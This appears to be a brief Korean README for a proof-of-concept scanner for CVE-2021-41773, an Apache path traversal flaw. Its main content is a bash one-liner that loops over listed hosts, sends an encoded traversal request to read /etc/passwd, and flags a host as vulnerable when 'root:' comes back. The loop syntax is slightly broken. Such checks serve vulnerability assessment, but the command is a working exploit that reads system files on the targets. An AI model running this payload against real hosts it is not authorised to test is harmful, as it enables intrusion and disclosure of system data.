
CVE-2021-41773 Apache 경로 탐색 취약점이 있는지 호스트를 검사하여 취약 여부를 보고하는 개념 증명 스캐너입니다.
호스트가 CVE-2021-41773에 취약한지 확인하기 위한 간단하고 빠른 개념 증명입니다.
python3 full.py hosts.txt
hosts.txt에는 대상이 포함되어 있습니다:
domain.com
blah.com
192.168.1.1
호스트가 취약한지 아닌지를 출력합니다.
bash 명령어의 Python 버전:
cat hosts.txt | while read host do ; do curl -k --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
즐기세요!